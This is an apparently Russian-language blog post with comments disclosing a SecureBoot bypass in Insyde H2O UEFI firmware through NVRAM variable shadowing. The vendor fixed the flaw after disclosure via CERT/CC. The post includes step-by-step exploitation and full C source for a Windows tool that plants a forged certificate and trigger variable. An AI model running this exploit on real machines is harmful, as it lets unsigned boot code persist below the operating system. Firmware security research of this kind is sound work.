Введение
Здравствуй, читатель. В этой статье я расскажу про найденную мной не так давно серьезную уязвимость в UEFI-совместимых прошивках на базе платформы Insyde H2O, которая присутствует в них примерно с 2012 года и (на большинстве существующих ныне систем) продолжает присутствовать.
Уязвимость эта позволяет надежно (и незаметно для средств мониторинга стандартных переменных UEFI SecureBoot вроде db, KEK и PK) обойти механизм проверки подписей UEFI-драйверов и UEFI-загрузчиков, а для её успешной эксплуатации требуется только возможность записи в UEFI NVRAM (доступная и в Windows, и в Linux после локального повышения привилегий).
Я категорически не советую использовать полученные из этой статьи сведения для совершения каких-либо противоправных действий, всю полученную информацию вы используете на свой страх и риск.
Краткая история UEFI, SecureBoot и платформы Insyde H2O
На массовом рынке ПК на процессорах Intel и AMD с архитектурой x86(-64) замена прошивок с BIOS-совместимых (написанных на ассемблере и C, использующих 16-битный интерфейс BIOS Interrupt Call для загрузки ОС, и обросших на тот момент серьезным грузом тяжелого наследия i386 и DOS) на UEFI-совместимые (накал ассемблера удалось снизить до следовых количеств, для загрузки ОС предоставлен 32/64-битный унифицированный расширяемый интерфейс, совместимость с тяжелым наследием сделана через опциональный механизм CSM) началась в 2011 году во времена чипсета Intel P67, и с тех пор UEFI-совместимые прошивки стали на этом рынке стандартом де-факто.
Интересно, что поначалу UEFI не имел никакого способа противодействия загрузочным вирусам (прямо как его предшественник), но в 2012 году с релизом стандарта UEFI 2.3.1C Intel совместно с Microsoft и другими тогдашними участниками UEFI Forum представили механизм UEFI SecureBoot, который призван проверять подписи исполняемых файлов, на которые прошивка передает управление, и отказывать в его передаче на случай, если подпись отсутствует, невалидна или сертификат, который использовался для ее создания, не находится в списке доверенных.
Т.к. производители материнских плат не имели опыта работы с EFI Development Kit непосредственно, то многие из них (на 2011 год - вообще все, но с каждым годом эта ситуация понемногу менялась) были вынуждены использовать т.н. “платформы” от так называемых “независимых производителей прошивок”, которых на тот момент осталось на весь рынок ровно три штуки: American Megatrends с платформой AMI Aptio4, Phoenix с платформой SecureCore Tiano 2.0, и Insyde с платформой H2O.
Каждый IBV предоставил свои собственные решения для задач, которые UEFI Forum решил по каким-то причинам не кодифицировать в стандарте UEFI и UEFI Platform Interface, примерами таких задач являются “окно настроек BIOS Setup”, “система установки обновлений”, “хранилище NVRAM”, “SMBIOS”, и т.д.
Заранее замечу, что безопасную загрузку в 2012 году пришлось интегрировать в уже существующий код платформ в спешке и при серьезном давлении сообщества (“мукрософт, пошел ты в жопу со своими подписями, у меня теперь любимый линукс не грузится!”), поэтому проблемы при её внедрении и обеспечении совместимости с уже существующими подсистемами (вроде подсистемы обновления прошивки) возникли у всех трех IBV. Уязвимость из этой статьи - прямое следствие этих проблем.
UEFI NVRAM и проблема “затенения” переменных
Прежде, чем рассказывать о самой уязвимости, нам потребуется небольшой ликбез по интерфейсу UEFI NVRAM, который был придуман еще в далеком 1998 году, стал частью Intel Innovation Framework, и затем без изменений перекочевал в UEFI. Интерфейс этот состоит из набора функций GetVariable (читает переменную из хранилища), SetVariable (записывает переменную в это хранилище), GetNextVaribleName (позволяет итерироваться по переменным в хранилище) и QueryVariableInfo (добавлена позже, позволяет получить подробную информацию о переменной). Нас будут интересовать только первые две, потому что проблема именно в них.
EFI_STATUS
GetVariable (
IN CHAR16* VariableName,
IN EFI_GUID* VendorGuid,
OUT UINT32* Attributes OPTIONAL,
IN OUT UINTN* DataSize,
OUT VOID* Data OPTIONAL
);
EFI_STATUS
SetVariable (
IN CHAR16 *VariableName,
IN EFI_GUID *VendorGuid,
IN UINT32 Attributes,
IN UINTN DataSize,
IN VOID *Data
);
Для получения переменной из хранилища нужно ее имя (в кодировке UCS-2, это такой устаревший вариант UTF-16), GUID (16-байтный идентификатор), и размер данных (если известен). Пара имя+GUID однозначно идентифицирует переменную, т.е. если переменная с заданными именем и GUID’ом уже существует, новая с такими же создана не будет, и попытка установить такую приведет к ошибке EFI_ALREADY_EXISTS. Если же размер неизвестен, то для его выяснения потребуется вызвать эту же функцию, но с нулевым размером. Как говорил один мой друг, API so nice you have to call it twice. Такая организация вызовов неизбежно привела к массе проблем, но эта история не о них.
Кроме имени, GUID’а, и собственно данных, у переменных есть еще и т.н. “атрибуты”, которые являются набором флагов, отличающих классы переменных друг от друга. К примеру, все переменные, у которых нет флага Runtime (RT) - не видны после загрузки ОС, и доступны только до события ExitBootServices. Переменные, лишенные атрибута Non-Volatile (NV) - не сохраняются в энергонезависимой памяти, и доступны только до перезагрузки. Переменные с атрибутом Auth Write (AW, устарел и больше не должен использоваться) и/или Time-based Auth Write (TA, пришел на замену AW) используют специальные правила для их установки и удаления, и нужны для хранения баз данных и ключей UEFI SecureBoot, и т.п.
Тот факт, что в NVRAM (Non-Volatile Random Access Memory) у нас хранятся и волатильные и неволатильные переменные скопом - это результат политики “ну нормальный интерфейс же, удобный, давайте его используем для всего”, которая уже привела и еще не раз приведет к массе уязвимостей, и с которой теперь приходится бороться специалистам по безопасности прошивок.
Всю эту ерунду выше я вам рассказывал вот для чего: представьте, что вы - разработчик прошивки, и у вас есть стандартный интерфейс для временных переменных, которые якобы никто никак трогать не может, потому что вы ни атрибут NV (чтобы они сохранялись где-то), ни атрибут RT (чтобы их из ОС было видно) не ставите. И вам нужно, условно, в одной части прошивки выставить определенный флаг или поделиться небольшим объемом данных с другой частью прошивки, а городить для этого какие-то специальные механизмы (или использовать стандартный механизм - протоколы, как предлагает здравый смысл) вы не хотите - у вас есть NVRAM же. Так вот, прежде чем это делать, нужно понять, что ваша волатильная переменная может быть “затенена” (shadowed) такой же точно переменной, только неволатильной (которую мог поставить пользователь прямо из ОС), и на ваши попытки создать волатильную переменную драйвер NVRAM ответит “есть такая уже, сорян”. Но и это еще не все: в том месте, где вы ожидали прочитать вашу волатильную переменную, теперь у нас неволатильная, а т.к. примерно никто (кроме двух с половиной сумасшедших параноиков) атрибуты у переменных при чтении не проверяет, там вы читаете не то, что хотели вы, а то, что поставил пользователь из ОС.
Итого: неволатильные переменные UEFI NVRAM могут “затенять” волатильные, и если этого не знать - можно очень сильно опростоволоситься.
Уязвимость в механизме проверки подписи, обход SecureBoot
Теперь у нас есть вся необходимая информация об NVRAM и затенении, но нужно понимание, для чего она нам была нужна. Для этого нам потребуется еще один небольшой экскурс, в этот раз уже в механизм работы системы обновления прошивки на платформе Insyde H2O. Разработан этот механизм был очень давно, и с тех пор хоть и улучшался, но не принципиально (“работает - не трогай”).
Основные компоненты этой системы - драйверы SecureFlashPei (снимает защиту прошивки от перезаписи), SecureFlashDxe (обеспечивает загрузку утилиты прошивальщика isflash.bin с EFI System Partition) и BdsDxe (проверяет подписи всех приложений и драйверов, которые запускаются извне).
В итоге нормальная работа системы обновления выглядит примерно так:
Установщик обновлений из ОС кладет прошивальщик и файл с обновлением на ESP (/EFI/Insyde/isflash.bin), выставляет неволатильную NVRAM-переменную SecureFlashInfo и перезагружает систему.
В фазе PEI драйвер SecureFlashPei читает переменную SecureFlashInfo и не производит установку защиты от записи.
В фазе DXE драйвер SecureFlashDxe читает ту же переменную, если она есть, модифицирует ее таким образом, чтобы сработал триггер в BdsDxe.
В фазе BDS драйвер BdsDxe читает переменную SecureFlashInfo, если она установлена и в ней указано, что мы находимся в режиме обновления, он делает единственным загрузчиком лежащий на ESP isflash.bin, загружает из тома DXE сертификат, которым он подписан, и проверяет подпись. Если она успешно проверена - передает на isflash.bin управление.
Прошивальшик isflash.bin получает управление, читает с ESP файл с обновлением прошивки, производит обновление, и перезагружает систему.
Пока что на вид никаких очевидных проблем нет, но на деле оказалось, что BdsDxe не проверяет подписи самостоятельно, а делегирует это драйверу SecurityStubDxe, который модифицирован Insyde таким образом, чтобы использовать не только "обычные" сертификаты из стандартной для UEFI SecureBoot переменной db, но и дополнительные сертификаты, которые загрузил BdsDxe.

Проблема здесь в том, что сертификаты загружены одним драйвером, а использоваться для верификации будут другим, и между ними необходим механизм обмена данными, которым, на их беду, программисты Insyde выбрали NVRAM.
Получается, что действие "загрузить сертификаты из DXE-тома" использует NVRAM в качестве временного хранилища для них, т.е. сначала функция LoadCertificateToVariable в BdsDxe создает волатильные переменные SecureFlashSetupMode и SecureFlashCertData, а затем функция VerifyBySecureFlashSignature проверяет наличие этих переменных, и доверяет сертификату из переменной SecureFlashCertData, если она присутствует.
При этом для чтения переменных VerifyBySecureFlashSignature использует библиотечную функцию, которая не проверяет атрибуты прочитанной переменной. Более того, проверка подписи ничего не знает о триггере SecureFlashInfo, и реагирует только на наличие переменных SecureFlashSetupMode и SecureFlashCertData.


В результате заставить такую прошивку запустить любой исполняемый файл даже при включенном SecureBoot тривиально:
Сгенерировать свой сертификат и подписать им свой исполняемый файл. Вот здесь я очень подробно описал, как это можно сделать.
Добавить этот сертификат в неволатильную переменную SecureFlashCertData.
Создать неволатильную переменную SecureFlashSetupMode со значением 1.
Перезагрузиться и проверить, что файл успешно запущен.
Для того, чтобы не проделывать все это вручную, я написал небольшую утилиту для Windows - вот она целиком:
#include <windows.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
static unsigned char esl[] = {
0xa1, 0x59, 0xc0, 0xa5, 0xe4, 0x94, 0xa7, 0x4a, 0x87, 0xb5, 0xab, 0x15,
...
0xb4, 0xf5, 0x2d, 0x68, 0xe8
};
const unsigned int esl_len = 857;
static const char* trigger_var = "SecureFlashSetupMode";
static const char* cert_var = "SecureFlashCertData";
static const char* guid = "{382AF2BB-FFFF-ABCD-AAEE-CCE099338877}";
static char trigger = 1;
static void obtain_privilege()
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL,
SE_SYSTEM_ENVIRONMENT_NAME, &tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0);
}
int main(int argc, char *argv[])
{
if (argc != 2) {
printf("Usage: sfcd set - set the hardcoded certificate "
"and trigger NVRAM variables\n"
" sfcd clear - clear the currently set certificate "
"and trigger NVRAM variables\n\n");
return EXIT_SUCCESS;
}
obtain_privilege();
// Set variables
if (memcmp(argv[1], "set", 4) == 0) {
if (SetFirmwareEnvironmentVariableA(cert_var, guid, esl, esl_len)) {
printf("%s had been set\n", cert_var);
}
else {
printf("Failed to set %s, code %u\n", cert_var,
(unsigned)GetLastError());
return EXIT_FAILURE;
}
if (SetFirmwareEnvironmentVariableA(trigger_var, guid,
&trigger, sizeof(trigger))) {
printf("%s had been set\n", trigger_var);
}
else {
printf("Failed to set %s, code %u\n", trigger_var,
(unsigned)GetLastError());
return EXIT_FAILURE;
}
}
// Clear variables
else if (memcmp(argv[1], "clear", 6) == 0) {
if (SetFirmwareEnvironmentVariableA(cert_var, guid, esl, 0)) {
printf("%s had been cleared\n", cert_var);
}
else {
printf("Failed to clear %s: %u\n", cert_var,
(unsigned)GetLastError());
return EXIT_FAILURE;
}
if (SetFirmwareEnvironmentVariableA(trigger_var, guid, &trigger, 0)) {
printf("%s had been cleared\n", trigger_var);
}
else {
printf("Failed to clear %s: %u\n", trigger_var,
(unsigned)GetLastError());
return EXIT_FAILURE;
}
}
else {
printf("Unknown command\n");
return EXIT_FAILURE;
}
return EXIT_SUCCESS;
}
Запускаем утилиту из Windows в консоли администратора, перезагружаемся, проверяем, БИНГО. BdsDxe успешно запустил наш файл, и никакой SecureBoot нам теперь не помеха.

Заключение
Хочется сказать много теплых и ласковых слов авторам этого древнего кода, но впереди у нас еще более интересная вторая часть марлезонского балета, в которой мы используем описанную выше уязвимость (и еще несколько слабых мест прошивки) для перехвата управления во время обновления и получения полного контроля над прошивкой. Оставайтесь на линии.
Благодарности
Эта статья - результат ответственного раскрытия (responsible disclosure) и координации устранения уязвимости через CERT Coordination Center. Автор выражает благодарность Виджаю Сарвепалли (Vijay Sarvepalli, Security Solutions Architect, Carnegie Mellon University) за содействие в раскрытии и координации, а также Тиму Льюису (Tim Lewis, CTO, Insyde Software) за своевременное устранение уязвимости в коде платформы Insyde H2O.
Отдельно хочется поблагодарить Александра Матросова и его команду из Binarly.io за разработку плагина efiXplorer, без которого реверс-инжениринг компонентов UEFI-совместимых прошивок был бы намного менее приятным.
Ссылки
Исходный код и скомпилированный файл утилиты SFCD, оригинальный дамп региона BIOS, и подписанные нашим сертификатом UEFI Shell и драйвер CrScreenshotDxe - на GitHub.
Комментарии (9)
vit9696
10.06.2025 12:45Самое приятное, что +/- никто из производителей никогда на миллионах выпущенных устройств это не закроет. Гипотетически, впрочем, можно выпустить +/- универсальный патч и без них.
slonopotamus
10.06.2025 12:45Я не очень понял в чём собсна уязвимость.
UEFI-биос запустил подписанную винду
Из-под подписанной винды юзер с админскими правами прописал в биос дополнительный сертификат и подписал бинарь
Биос запустил бинарь из пункта 2
На первые два взгляда это просто нормальная работа chain of trust, не?
VADemon
10.06.2025 12:45(Нахмуря брови) С точки зрения "индустрии": правильный chain of trust -- это когда защитились от пользователя со всеми правами. Сказано нельзя, значит прошивка должна быть только с подписями оригинальными от Microsoft + IBV.
С одной стороны это хорошо в плане ограничения урона:
Похерили всё с учетной записи пользователя? Но ОС не тронута.
OS is pwned? Но тогда переустановимся, ведь прошивка не тронута.
Прошивку модифицировали? Ой-ой-ой...
С другой стороны, мы шагаем в дивное будущее, которое уже наступило на смартфонах и других коробочных изделиях, где шаг в сторону -- расстрел. Смотреть в сторону SafetyNet / Play Integrity API.
Тивоизация во всей красе. И не задавайтесь вопросом, почему это Microsoft отказывается подписывать изделия под GPLv3 типа GRUB2.
c0r3dump
10.06.2025 12:45Какой только смысл сохранять ОС, когда данные пользователя убиты, ос ценность что ли представляет? Данные ОС восстановятся повторной установкой, а данные пользователя - нет.
VADemon
10.06.2025 12:45+1. Именно. С точки зрения безопасности это интересно серверной ОС. А криптовымогатели создали нам новую реальность, где максимальный ущерб создается "самим" пользователем.
VADemon
10.06.2025 12:45Так как успели налепить минус:
Из-под подписанной винды юзер с админскими правами прописал в биос дополнительный сертификат и подписал бинарь
Подмена/внедрение иного сертификата должна быть доступна только из заведомо безопасного окружения, т.е. из настроек самой прошивки. У пользователей SecureBoot пароль на вход в прошивку же стоит? Да ведь?
slonopotamus
10.06.2025 12:45А всё, я понял, дыра в том что если отключить SecureBoot, тогда мы инжектим серт из-под операционки не входящей в chain of trust. И при последующем его включении UEFI pwned. Вопрос снимается.
CodeRush Автор
@ValdikSS, приколись, как они могут. Я думал, что всякую фигню UEFI CA подписывать, а потом ее героически (неправильно) банить - это максимум того, что эта "индустрия" может, но здесь Insyde превзошли и самих себя, и всех остальных. Очень веселый тамада, и очень интересные конкурсы...